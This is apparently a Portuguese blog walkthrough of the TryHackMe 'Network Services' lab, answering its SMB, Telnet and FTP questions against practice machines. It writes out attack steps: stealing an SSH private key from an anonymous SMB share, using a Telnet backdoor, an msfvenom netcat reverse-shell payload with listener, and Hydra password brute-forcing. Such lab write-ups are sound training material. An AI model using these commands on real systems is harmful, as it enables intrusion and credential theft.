Este é um artigo para a sala TryHackMe.com, Network Services, criada por Polomints.
Este artigo incluirá as respostas para a maioria das perguntas, mas, conforme solicitado pelo TryHackMe, não incluirá sinalizadores ou senhas.
Esta sala pode ser encontrada no roteiro de aprendizagem de Defesa Cibernética no momento da redação deste artigo e aqui.
Você pode encontrar meu vídeo passo a passo sobre isso AQUI.
As tarefas nesta sala seguem um padrão repetido: Compreensão, Enumeração e Exploração. As tarefas de compreensão ensinam sobre o serviço que você irá explorar. As tarefas de enumeração ensinam como coletar dados sobre o serviço. E então, as tarefas de exploração fazem com que você execute a exploração para cada serviço.
As VMs que esta sala usa estão todas nas tarefas de enumeração, indicadas pelo ícone de pilha verde . Como as VMs podem levar de 1 a 5 minutos para serem ativadas, recomendo que, antes de iniciar uma tarefa de compreensão, vá até a tarefa de enumeração e inicialize a máquina. Isso dá tempo para configurar enquanto você volta e executa a tarefa de compreensão.
Além disso, suponha que você seja tão novo no TryHackMe quanto eu. Nesse caso, você pode ter experimentado apenas VMs às quais pode se conectar com OpenVPN inserindo seu endereço IP em seu navegador, geralmente com um número de porta mencionado nas tarefas, que o levará a uma GUI. Esse não é o caso desta sala. Essas VMs são configuradas para fornecer os serviços que você está testando e somente esses serviços. Isso significa que você usará um Terminal em sua máquina local, o Attack Box, ou, se for um usuário premium, o Kali box baseado em navegador para se comunicar com as VMs. Usei a caixa Kali baseada em navegador.
Se você estiver usando sua máquina local, sugiro usar uma máquina Linux ou um subsistema Windows para Linux com Kali/seu sabor favorito instalado. Todas as ferramentas que você precisa estão pré-instaladas com Kali, mas podem ser adicionadas a outras distros. Além disso, não tenho o subsistema Windows para Linux funcionando em minha máquina, então talvez você precise descobrir algumas coisas sozinho.
Há uma parte que requer um arquivo fornecido na máquina Kali baseada em navegador/Caixa de Ataque. Se quiser usar sua máquina local, você terá que iniciar o Attack Box e baixar este arquivo. Você também pode usar a Caixa de Ataque apenas para a Tarefa 10.
@@ Posteriormente, descobri que você pode baixar o arquivo do GitHub em rockyou.txt. Esse é de longe o método mais fácil, mas deixarei essas instruções adicionais aqui, caso alguém queira experimentá-las. @@
Como fazer download usando WinSCP no Windows 10
Se você quiser baixar o arquivo de 136 MB e usar seu terminal local, veja como fazer isso em uma máquina Windows. Para a transferência, usei WinSCP. Primeiro, inicie a caixa de ataque splitview. Depois de ter acesso à Área de Trabalho, clique no “i” localizado no canto inferior esquerdo da tela . Isso lhe dará o endereço IP, nome de usuário e senha da caixa de ataque. Em seguida, no WinSCP, na tela de login, selecione “Novo Site” e insira o endereço IP da Caixa de Ataque como Nome do Host, o nome de usuário como nome de usuário e a senha como senha.
Ter em mente; suas informações serão diferentes das minhas. Selecione sftp como protocolo e ele deverá preencher automaticamente a porta 22; caso contrário, digite 22 para a porta. Em seguida, clique em entrar. Você provavelmente receberá um pop-up perguntando se deseja “Continuar conectando-se a um servidor desconhecido...” Clique em Sim. Uma vez logado, você estará no diretório raiz do Attack Box; clique duas vezes em “Ferramentas” e depois em “listas de palavras” (o caminho no WinSCP mudará para /usr/share/wordlists/
está tudo bem.) Encontre o arquivo chamado rockyou.txt, selecione-o e clique em download.
A caixa de diálogo Download será aberta, selecione o caminho de arquivo desejado e clique em OK. Agora você tem o arquivo necessário para a Tarefa 10. Lembre-se do caminho do arquivo; você vai precisar disso.
Fim, como fazer download usando WinSCP no Windows 10
Como fazer download usando um terminal Linux
Assim como no Windows, você iniciará a caixa de ataque com visualização dividida. Depois de ter acesso à Área de Trabalho, clique no “i” localizado no canto inferior esquerdo da tela . Isso lhe dará o endereço IP, nome de usuário e senha da caixa de ataque.
Em seu terminal, você digitará sftp root@{Your Attack Box Private IP}
sem os colchetes. Sempre remova as chaves ao executar comandos neste artigo. O nome de usuário de cada Attack Box que vi é root; se o seu for diferente, digite o nome de usuário no lugar de root no comando acima. Em seguida, ele solicitará a senha. Copie e cole a senha da janela Informações da Máquina da Caixa de Ataque. Não se preocupe se a senha não aparecer; basta colar/digitar e pressionar Enter. Após a conexão, você deverá receber um prompt sftp>
. Se algo der errado, verifique novamente se você tem o OpenVPN conectado e se está usando o nome de usuário/endereço IP/senha corretos. Depois de receber o prompt sftp
, digite get /root/Desktop/Tools/wordlists/rockyou.txt
, prestando muita atenção às letras maiúsculas. Deve começar a baixar o arquivo para o seu sistema local.
Se você estiver usando uma distribuição semelhante à minha (Kali), o arquivo deverá ser colocado na pasta pessoal do usuário. Lembre-se do caminho do arquivo; você precisará dele para a Tarefa 10.
Fim, como fazer download usando um terminal Linux
Agora, com tudo isso resolvido, vamos às tarefas!
Esta tarefa é puramente informativa e não requer uma resposta à pergunta. A leitura permite que você saiba que precisa de um conhecimento básico de navegação em sistemas Linux e sugere um espaço para aprimorar suas habilidades. Além disso, lembra você de se manter hidratado.
Clique no botão Concluído e vá para a próxima tarefa.
Esta tarefa ensina sobre o serviço Server Message Block (SMB) da Microsoft, um protocolo cliente-servidor usado para compartilhar o acesso a arquivos, impressoras e outros recursos em uma rede. Por se tratar de uma tarefa teórica, leia as informações e responda às questões abaixo. Se você nunca viu a palavra NetBEUI antes, e eu não o culparia se não tivesse visto, ela se pronuncia Net Buoy, como uma bóia oceânica.
Se desejar minimizar o tempo de espera, recomendo abrir a Tarefa 3 e clicar no botão verde “Iniciar máquina” agora, depois rolar para cima e executar esta tarefa.
Pergunta 1
O que significa SMB?
Bloco de mensagens do servidor
Pergunta 2
Que tipo de protocolo é SMB?
solicitação de resposta
Pergunta 3
O que os clientes usam para se conectar aos servidores?
TCP/IP
Pergunta 4
Em quais sistemas o Samba roda?
Unix
Esta tarefa abrange a fase de recolha de informações que é crucial para estabelecer uma exploração bem sucedida.
Se você seguiu as instruções acima, você já iniciou a máquina para esta tarefa antes de concluir a tarefa 2. Caso contrário, inicie a máquina agora clicando no botão verde denominado “Iniciar máquina”. Assim que a máquina estiver totalmente instalada e funcionando, você verá o endereço IP no topo da página; você vai precisar disso.
Ele começa com uma breve descrição da ferramenta de varredura de portas Nmap. Se você quiser/precisar de mais experiência com o Nmap antes de prosseguir, ele recomenda uma sala que faz parte da série Red Primer. As únicas duas opções que você precisará saber para esta sala são -A
, que permite a detecção de sistema operacional, detecção de versão, varredura de script e traceroute, e a opção -p-
, que diz ao Nmap para varrer todas as portas, não apenas a 1000 mais comuns. A sintaxe para as varreduras Nmap que usaremos aqui é nmap {options} {target}
. Portanto, para a primeira varredura, será algo como nmap -A -p- 10.10.10.10
com o IP da sua máquina ativa no lugar de todos os 10. Esta captura de tela mostra onde você encontrará o IP da sua máquina. Certifique-se de usar o IP da sua máquina ativa e não copie apenas o que você vê aqui.
Também usaremos a ferramenta enum4linux, que foi nova para mim. enum4linux é usado para enumerar compartilhamentos SMB em sistemas Windows e Linux. Há uma lista de opções disponíveis do enum4linux; entretanto, a opção -a
, que cobre todas elas, foi a que usei. Nota: as informações fornecidas para enum4linux descrevem a opção como -A
com letra maiúscula, o que é incorreto; precisa ser um a
minúsculo.
Pergunta 1
Faça uma varredura Nmap de sua escolha. Quantas portas estão abertas?
Para esta questão, você pode realizar uma varredura Nmap básica de nmap {IP of your Active Machine}
. No entanto, se você quiser executar uma varredura e obter quase todas as informações para as perguntas a seguir, execute nmap -A -p- {IP of your Active Machine}
. Aqui estão as informações que você obtém com a verificação básica.
Como você pode ver nos resultados da verificação, existem 3 portas abertas, 22, 139 e 445. No entanto, não há muito mais que precisemos.
Pergunta 2
Em quais portas o SMB está sendo executado?
Esta questão é um pouco mais complicada. O SMB faz parte do Microsoft-ds na porta 445, mas pode ser executado no NetBIOS na 139. Portanto, a resposta a esta pergunta é ambas.
139/445
Pergunta 3
Vamos começar com enum4linux, conduza uma enumeração básica completa. Para começar, qual é o nome do grupo de trabalho ?
Para esta pergunta, se você executou nmap -A {Your Machine's IP}
, você já tem essa informação.
No entanto, esta questão está nos ensinando sobre o enum4linux, então vamos usar isso. Execute enum4linux -a {IP Address of your Active Machine}
.
Como você pode ver nas capturas de tela acima, o grupo de trabalho está listado como WORKGROUP.
Pergunta 4
Qual é o nome da máquina?
Para esta pergunta, você precisará rolar para baixo até a seção “Host Script Results” dos resultados da verificação se você usou nmap -A -p-
.
No nome do computador, mostra polosmb
.
Para enum4linux, você precisa inferir um pouco mais.
Pergunta 5
Também incluída nas capturas de tela acima está a resposta a esta pergunta.
Qual versão do sistema operacional está em execução?
6.1
Pergunta 6
Esta pergunta só pode ser respondida com enum4linux. Execute enum4linux -A {IP of your Active Machine}
Que parcela se destaca como algo que poderíamos querer investigar?
IPC$ é comunicação entre processos; não vai precisar disso. print$ é para drivers de impressora, também não é exatamente o que queremos. netlogon para o serviço de logon de rede, provavelmente não teremos as informações que precisamos. Isso deixa profiles
que contêm informações sobre os perfis de usuário. Isso tem potencial. Poderemos encontrar as informações de login de um usuário lá.
É aqui que nos divertimos ainda mais. Estaremos usando o SMBClient, que está disponível no Kali, mas pode ser adicionado a outras distros. Para o SMBClient usaremos a sintaxe smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
.
Pergunta 1
Qual seria a sintaxe correta para acessar um compartilhamento SMB chamado “secreto” como usuário “suit” em uma máquina com o IP 10.10.10.2 na porta padrão?
Observando a sintaxe acima, podemos simplesmente inserir as informações.
smbcliet //10.10.10.2/secret -U suit -p 445
Pergunta 2 Ótimo! Agora que você pegou o jeito da sintaxe, vamos tentar explorar essa vulnerabilidade. Você tem uma lista de usuários, o nome do compartilhamento e uma vulnerabilidade suspeita.
Nenhuma resposta é necessária; basta clicar em Concluir.
Pergunta 3
Vamos ver se nosso compartilhamento interessante foi configurado para permitir acesso anônimo, ou seja; não requer autenticação para visualizar os arquivos. Podemos fazer isso facilmente:
usando o nome de usuário “Anônimo”
conectando-se ao compartilhamento que encontramos durante a fase de enumeração
e não fornecer uma senha
Quando pedir a senha, basta apertar enter.
O compartilhamento permite acesso anônimo? S/N?
Se você vir o prompt smb: >, significa que você efetuou login com sucesso sem fornecer a senha. Y
, o compartilhamento permite acesso anônimo.
Pergunta 5
Digite ls
para visualizar o conteúdo do compartilhamento. O que você vê que parece ter alguma informação para nós?
O primeiro que me chamou a atenção foi o arquivo de texto. Agora tenha em mente que o Linux não gosta de arquivos com espaços em seus nomes, então você terá que adicionar ““ ao redor dele em seus comandos. Falando nisso, como diz o terminal, digitar “help” fornecerá uma lista dos comandos disponíveis, que achei muito úteis.
Normalmente, eu usaria cat
para exibir o conteúdo do arquivo .txt, mas ele não está na lista. Parece que o SMBClient não conhece esse, então optei por more
.
Este arquivo nos fornece duas grandes informações, um nome de usuário potencial, baseado em John Cactus, o endereço do arquivo e que John tem uma conta SSH configurada.
Ótimo! Procure por documentos interessantes que possam conter informações valiosas. A quem podemos presumir que esta pasta de perfil pertence?
João Cacto
Pergunta 6
A leitura do arquivo .txt na pergunta anterior também nos dá a resposta para esta.
Qual serviço foi configurado para permitir que ele trabalhe em casa?
SSH
Pergunta 7
Agora que terminamos o arquivo .txt, pressione “q” para sair do editor.
OK! Agora que sabemos disso, em qual diretório do compartilhamento devemos procurar?
Visto que estamos procurando mais informações sobre a conta SSH de John, acho que há uma pasta aqui que pode ser muito benéfica; qual você acha que é?
.ssh
Pergunta 8
Este diretório contém chaves de autenticação que permitem aos usuários se autenticarem e acessarem um servidor. Qual dessas chaves é mais valiosa para nós?
Então, vamos entrar na pasta .ssh digitando cd .ssh
. Em seguida, execute o comando ls
novamente para visualizar o conteúdo.
A chave SSH padrão é armazenada no arquivo id_rsa
. Então, essa é a nossa resposta.
Se quiser ver a aparência de uma chave SSH, você pode usar o comando more novamente para ver. more id_rsa
. As partes mais importantes a serem observadas são que ele começa com “BEGIN RSA PRIVATE KEY” com 5 traços em cada lado. E termina com “END RSA PRIVATE KEY” também com 5 tracejados em cada lado. Em seguida, “q” novamente para sair do editor.
Agora, podemos fazer alguns reconhecimentos adicionais para tornar a próxima pergunta um pouco mais fácil. Execute more id_isa.pub
. E veja o que você pode ver no final do arquivo.
Pergunta 9
Baixe este arquivo para sua máquina local e altere as permissões para “600” usando “chmod 600 [arquivo]”.
Para baixar o arquivo, dê uma olhada no comando de ajuda e veja qual comando você acha que provavelmente levaria ao download.
Acho que get
uma delícia. Portanto, para baixar o arquivo ainda na pasta .ssh, você executará get id_rsa
. Na máquina baseada no navegador Kali, isso colocará o arquivo no diretório raiz. Se você estiver usando uma distribuição Linux executada localmente, ela provavelmente será colocada no diretório inicial do usuário.
Agora, os arquivos de chave RSA exigem uma certa segurança para funcionarem, portanto, precisamos definir as permissões corretas para esse arquivo. Também estamos sem compartilhamento, então execute quit
para retornar ao prompt da sua máquina. Em seguida, execute chmod 600 {File Path}
Então, para a máquina web Kali, chmod 600 id_rsa
. Para as outras máquinas, você pode navegar até a pasta onde o arquivo está usando cd
e então executar o comando acima, ou digitar o caminho para o arquivo no comando.
Agora, use as informações que você já coletou para descobrir o nome de usuário da conta. Em seguida, use o serviço e a chave para fazer login no servidor.
Como fizemos um reconhecimento adicional, sabemos que o nome de usuário é “cacto”. Quando fiz isso pela primeira vez, presumi que o nome de usuário seria j.cactus e me deparei com um erro que não entendi – encontrar o nome de usuário correto resolveu o problema.
A sintaxe para SSH usando uma chave especificada é: ssh -i {Key File} {Username}@{IP Address}
. Então, para nós, será ssh -i id_rsa cactus@{Active Machine's IP Address}
Quando perguntar se você tem certeza de que deseja continuar, digite “sim” e pressione Enter. Parabéns! Ao ver o prompt mudar para cactus@polosmb:~$
, você estará logado com sucesso em um servidor em uma conta que não é sua.
Use o comando ls
para ver o que está aqui, apenas um arquivo; abra-o para capturar aquela bandeira! Você pode usar cat
aqui para imprimir o conteúdo na tela.
Pergunta 10
Copie o conteúdo do arquivo que você acabou de abrir e cole-o na caixa desta resposta. TryHackMe pede redações para excluir sinalizadores, então não vou postar aqui.
Ao concluir a seção SMB, você deve encerrar a máquina ativa atual, ir para a tarefa 6 e iniciar essa máquina antes de retornar à tarefa 5.
Telnet é um protocolo de aplicativo desatualizado. É usado para interagir com hosts remotos. Uma vez conectado ao sistema remoto, ele se torna um terminal virtual para esse sistema. Porém, está desatualizado porque envia todas as suas informações em texto não criptografado; não há criptografia. Por ser muito mais seguro, o SSH suplantou o Telnet na maioria das situações. Para conectar-se a um sistema remoto usando Telnet, você usa a sintaxe telnet {IP Address} {port Number}
. A porta padrão para Telnet é 23.
Pergunta 1
O que é Telnet?
Protocolo de aplicação
Pergunta 2
O que substituiu lentamente o Telnet?
SSH
Pergunta 3
Como você se conectaria a um servidor Telnet com IP 10.10.10.3 na porta 23?
telnet 10.10.10.3 23
Pergunta 4
A falta do que significa que toda a comunicação Telnet está em texto simples?
Criptografia
Se você ainda não iniciou a máquina para esta tarefa, faça-o agora.
Assim como nas tarefas SMB, começaremos executando uma varredura de porta em nosso sistema de destino.
Execute nmap -A -p- {IP address of your Active Machine}
Esta verificação pode demorar um pouco. O meu foi concluído em 174,56 segundos.
Pergunta 1
Quantas portas estão abertas na máquina de destino?
Há apenas “1” porta aberta.
Pergunta 2
Que porta é essa? Nota: Isso pergunta qual porta está aberta.
8012
Pergunta 3
Esta porta não está atribuída, mas ainda lista o protocolo que está usando; que protocolo é esse?
TCP
Pergunta 4
Agora execute novamente a varredura do Nmap, sem a tag -p-; quantas portas aparecem como abertas?
Lembre-se, a opção -p-
diz ao Nmap para verificar todas as portas, portanto, ao removê-la, o Nmap irá verificar apenas as 1000 portas principais.
As portas “0” estão abertas.
Pergunta 5
Vemos que atribuir o Telnet a uma porta não padrão não faz parte da lista de portas comuns ou das 1000 principais portas que o Nmap verifica. É essencial tentar todos os ângulos ao enumerar, pois as informações coletadas aqui informarão o seu estágio de exploração.
Nenhuma resposta é necessária; clique em Concluir
Pergunta 6
Com base no título que nos foi devolvido, para que achamos que esta porta poderia ser usada?
Você pode ver do que esta pergunta está falando na parte inferior da última captura de tela.
Uma porta dos fundos
Pergunta 7
A quem poderia pertencer? Reunir possíveis nomes de usuário é uma etapa essencial em uma enumeração.
Igual à última pergunta, informações na última imagem.
esquisito
Pergunta 8
Sempre anote as informações que você encontrar durante o estágio de enumeração, para que possa consultá-las quando prosseguir para tentar explorações.
Fazer anotações é muito importante. Escrever relatórios sobre nossas descobertas é uma parte significativa da segurança. Adquirir o hábito de fazer anotações minuciosas torna tudo mais fácil.
Nenhuma resposta é necessária; clique em Concluir
Análise do Método
Então, da nossa fase de enumeração, sabemos:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
Usando essas informações, vamos tentar acessar essa porta Telnet e usá-la como ponto de apoio para obter um shell reverso completo na máquina!
Lembre-se do que foi dito acima, a sintaxe para telnet é telnet {Machine IP} {Port}
Pergunta 1
Ok, vamos tentar conectar-nos a esta porta telnet! Se você tiver dúvidas, dê uma olhada na sintaxe de conexão descrita acima.
Para isso, você precisará executar telnet {Your Active Machine's IP Address} 8012
porque embora a porta padrão para Telnet seja 23, como encontramos em nossa pesquisa Nmap, este sistema a possui em uma porta não padrão.
Nenhuma resposta é necessária; clique em concluir.
Pergunta 2
Ótimo! É uma conexão telnet aberta! Que mensagem de boas-vindas recebemos?
PORTA DOS FUNDOS DO SKIDY.
Pergunta 3
Vamos tentar executar alguns comandos. Obtemos um retorno sobre qualquer entrada que inserimos na sessão telnet? (S/N)
Para este, digite os comandos que desejar. Eu tentei ls
para ver o que havia lá. E como não recebemos nenhuma informação, a resposta a esta pergunta é:
N
Pergunta 4
Hmm... isso é estranho. Vamos verificar se o que estamos digitando está sendo executado como um comando do sistema.
Nenhuma resposta é necessária; clique em Concluir.
Pergunta 5
Visto que todos os seus comandos estão sendo enviados para o vazio, é um pouco difícil fechar essa conexão. Para receber a solicitação de mudança para algo útil, pressione ctrl + ]
. Isso é control e a tecla do colchete direito simultaneamente, o que deve alterar seu prompt para telnet>
, digite close
e pressione Enter. Agora você deve estar de volta ao seu prompt habitual. Ou, se desejar, você pode deixar a sessão telnet conectada e abrir uma nova aba/janela para executar o seguinte tcpdump.
Inicie um ouvinte tcpdump em sua máquina local.
Um ouvinte tcpdump monitorará o tráfego da interface selecionada e, em seguida, registrará esse tráfego na tela. Você vai iniciá-lo e deixá-lo rodando em sua própria aba/janela.
Se estiver usando sua própria máquina com conexão OpenVPN, use:
sudo tcpdump ip protoicmp -i tun0
Se estiver usando o AttackBox, use:
sudo tcpdump ip protoicmp -i eth0
Isso inicia um ouvinte tcpdump, ouvindo explicitamente o tráfego ICMP, no qual os pings operam.
A diferença entre os dois é a interface de rede. Na sua máquina Linux local, você deve usar o tun0, que é o dispositivo de tunelamento que deve ser a conexão OpenVPN, mas não me cite sobre isso. Talvez seja necessário executar sudo ifconfig
para determinar qual interface você deve usar.
Nenhuma resposta é necessária; clique em Concluir
Pergunta 6
Para esta questão, utilizaremos novamente a sessão telnet; se você ainda o tiver aberto, ótimo. Caso contrário, abra uma nova guia/janela e reconecte-se à máquina usando as mesmas etapas acima. Observe que você precisará do endereço IP do sistema em que está trabalhando, seja o Attack Box, a Kali Machine ou o seu sistema local, para esta pergunta.
Esta questão é fazer com que executemos o comando ping por meio da sessão telnet. Vamos inserir .RUN ping {Local IP Address} -c 1
. Isso enviará 1 ping do host remoto para nossa máquina local. Se você puder visualizar ambas as janelas simultaneamente, poderá ver o que acontece no momento em que acontece.
Agora, use o comando “ping [local THM ip] -c 1” através da sessão telnet para ver se conseguimos executar comandos do sistema. Recebemos algum ping? Observe que você precisa prefaciar isso com .RUN (S/N)
Você deverá ver a solicitação e a resposta do ping na sua guia com o ouvinte tcpdump.
S
Pergunta 7
Ótimo! Isso significa que podemos executar comandos do sistema E podemos acessar nossa máquina local. Agora vamos nos divertir!
Nenhuma resposta é necessária; clique em Continuar
Pergunta 8
Para esta pergunta, você sairá da sessão telnet e entrará em uma guia/janela diferente. Você pode pressionar ctrl + c
para encerrar o ouvinte tcpdump e usar essa janela; não precisamos mais do tcpdump. Execute o comando abaixo com o endereço IP do seu sistema local inserido onde estão os colchetes, mas deixe-os de fora. Depois de pressionar Enter no comando, levará um momento para gerar a carga útil e, em seguida, imprimi-la na tela.
Vamos gerar uma carga útil de shell reversa usando msfvenom. Isso irá gerar e codificar um shell reverso netcat para nós. Aqui está nossa sintaxe:
"msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R"
-p = carga útil lhost = nosso endereço IP do host local (este é o endereço IP da sua máquina) lport = a porta para escutar (esta é a porta da sua máquina) R = exporta a carga útil em formato bruto
Com qual palavra a carga gerada começa?
mkfifo
Pergunta 9
Perfeito. Estamos quase lá. Agora, tudo o que precisamos fazer é iniciar um ouvinte netcat em nossa máquina local. Fazemos isso usando:
"nc -lvp [porta de escuta]"
Qual seria a aparência do comando para a porta de escuta que selecionamos em nossa carga útil?
nc -lvp 4444
Pergunta 10
Ótimo! Agora isso está funcionando; precisamos copiar e colar nossa carga msfvenom na sessão telnet e executá-la como um comando. Esperançosamente, isso nos dará um shell na máquina alvo!
Lembre-se que para o comando funcionar na sessão telnet; você precisa ter .RUN no início.
Nenhuma resposta é necessária; clique em concluir.
Pergunta 11
Sucesso! Qual é o conteúdo do flag.txt?
Se o shell reverso funcionou, você deverá ver “conectar a [10.10.xx] do ip etc...” no ouvinte netcat.
A partir daí, você pode inserir comandos normalmente e enviá-los para o sistema remoto.
Eu sugiro começar com ls
para ver quais arquivos estão lá, e você poderá descobrir o resto, pois já capturou um sinalizador como este antes.
Isto conclui a seção sobre Telnet. Portanto, encerre a máquina ativa atual, vá para a tarefa 9, inicialize essa máquina e retorne à tarefa 8.
FTP, protocolo de transferência de arquivos. Como o nome sugere, ele é usado para transferir arquivos em rede. O FTP regular está desatualizado e foi substituído por alguns padrões diferentes e mais seguros. FTPS é FTP sobre TLS, então sua porta padrão ainda é 21, assim como FTP. O outro é o SFTP, que é o Secure File Transfer Protocol e usa SSH, portanto sua porta padrão é 22.
Pergunta 1
Qual modelo de comunicação o FTP usa?
Cliente-servidor
Pergunta 2
Qual é a porta FTP padrão?
21
Pergunta 3
Quantos modos de conexão FTP existem?
2
Estaremos trabalhando com um cliente FTP. Para verificar se você tem um cliente FTP instalado em seu sistema, você pode inserir ftp
e deverá ser levado a um prompt ftp>
. Caso contrário, tudo que você precisa fazer é instalá-lo via sudo apt install ftp
.
Pergunta 1
Usaremos o Nmap novamente para enumerar este servidor FTP. Analisando as perguntas a seguir, você precisará de mais informações do que receberia em uma verificação básica, então optei por nmap {Active Machine IP Address} -A -p-
.
Quantas portas estão abertas na máquina de destino?
Esta pergunta é um pouco estranha. Olhando para minha resposta correta enquanto corria por esta sala, ela dizia 2. Fazer a varredura agora mostra que apenas a porta 21 está aberta. Eu sugiro começar com 1 e se não funcionar, digamos 2.
Pergunta 2
Em qual porta o FTP está sendo executado?
21
Pergunta 3
Qual variante do FTP está sendo executada nele?
vsftpd
Pergunta 4
Ótimo, agora sabemos com que tipo de servidor FTP estamos lidando; podemos verificar se podemos fazer login anonimamente no servidor FTP. Podemos fazer isso digitando ftp [IP]
no console e inserindo “anônimo” e nenhuma senha quando solicitado.
Qual é o nome do arquivo no diretório FTP anônimo?
PUBLIC_NOTICE.txt
Pergunta 5
Para esta pergunta, você usará o comando get
novamente, assim como no Telnet. Digite get PUBLIC_NOTICE.txt
Isso fará o download do arquivo para o seu sistema para que você possa visualizar seu conteúdo. Você não precisa mais estar conectado ao servidor FTP, então digite exit
para retornar ao prompt padrão.
Agora, você precisará encontrar o arquivo que acabou de baixar. Para a máquina Kali baseada em navegador, ela é colocada no diretório raiz. Deve estar no mesmo diretório do arquivo que você obteve durante as tarefas de telnet.
Depois de encontrá-lo em seu sistema, é hora de lê-lo. Navegue até a pasta em que está ou insira o caminho completo do arquivo usando o comando cat
. cat PUBLIC_NOTICE.txt
e veja se consegue ver alguma informação que possa ser útil para nós; algo que pode ser um nome de usuário, talvez?
O que achamos que poderia ser um possível nome de usuário?
microfone
Pergunta 6
Ótimo! Agora temos detalhes sobre o servidor FTP e, principalmente, um possível nome de usuário. Vamos ver o que podemos fazer com isso...
Nenhuma resposta é necessária; clique em Concluir.
Para esta tarefa específica, usaremos o nome de usuário mike
que já conhecemos e tentaremos forçar sua senha com força bruta. É aqui que o arquivo rockyou.txt
entra em ação; é uma lista de senhas. Se você estiver usando seu próprio sistema local, lembre-se de onde você baixou o arquivo e use-o como caminho do arquivo. A ferramenta que usaremos se chama hidra. Hydra pode pegar uma lista de senhas e testá-las em um sistema para ver se funcionam.
A página TryHackMe contém um ótimo detalhamento da sintaxe que usaremos para este ataque. Eu sugiro fortemente que você leia isso.
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
Dependendo do sistema que você está usando, o caminho do arquivo pode variar. Além disso, se você estiver na máquina Kali baseada em navegador, terá uma etapa extra. Na máquina Kali, a lista de palavras é compactada em um arquivo GZ. Precisamos descompactá-lo. Em seu terminal, digite gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
. Depois de um momento, você terá o arquivo descompactado necessário.
Para encontrar a senha correta, você digitará hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
.
Se tudo deu certo, você deverá ter a senha exibida como a última entrada da lista.
Qual é a senha do usuário “mike”?
Você pode encontrar isso na saída do Hydra.
Pergunta 2
Bingo! Agora, vamos conectar-nos ao servidor FTP como este usuário usando “ftp [IP]” e inserindo as credenciais quando solicitado
Agora vamos fazer login usando nossas credenciais recém-encontradas.
Digite ftp {Your Active Machine IP Address}
. Em seguida, digite mike
como nome de usuário e a resposta da pergunta anterior como senha. Agora você deve ter o prompt ftp>
.
Nenhuma resposta é necessária; clique em concluir.
Pergunta 3
Use ls
para ver o conteúdo do diretório. Dois arquivos aqui. O .txt é provavelmente aquele que será legível por humanos. Use o comando get
para baixá-lo para o seu sistema. Agora que você fez isso algumas vezes, poderá encontrar o arquivo e visualizar seu conteúdo. Se estiver com dificuldades, você pode rolar para cima e encontrar as instruções das outras tarefas.
O que é ftp.txt?
Parabéns! Você capturou sua terceira bandeira e completou a parte de atividades da sala! Ótimo trabalho!
Esta tarefa oferece alguns lugares onde você pode conferir para aprofundar sua leitura sobre tópicos relacionados.
Nenhuma resposta é necessária; clique em Concluir.
Você foi ótimo ao passar por esta sala. Pode ter parecido intimidante no início, pode ter sido fácil, mas você conseguiu.
Muito obrigado ao Polomints por criar esta sala e ao TryHackMe por montar este excelente site.